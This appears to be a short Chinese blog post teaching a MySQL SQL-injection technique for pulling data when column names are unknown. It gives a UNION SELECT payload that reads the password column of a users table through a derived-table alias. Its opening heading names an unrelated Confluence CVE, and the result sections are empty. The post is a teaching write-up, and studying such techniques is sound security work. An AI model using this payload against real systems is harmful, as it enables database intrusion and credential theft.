Confluence CVE-2023-22515漏洞复现

在无法得到列名下进行注入

BGM：Welcome to Planet Urf

---

从这篇文章学习的：如何在不知道MySQL列名的情况下注入出数据？|NOSEC安全讯息平台 - NOSEC.ORG

此方法适用于以下：

盲注的时候跑不出列名

利用条件：

知道列名的个数

mysql命令行测试：

表名为：users
users表里面的列名有：id,username,password
列的个数为3 (1,2,3) (1=>id,2=>username,3=>password)

查询语句为：

select * from users where id=1

payload：

union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 1,1),3

结果：

靶场测试：

转载请声明：转自422926799.github.io

---

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。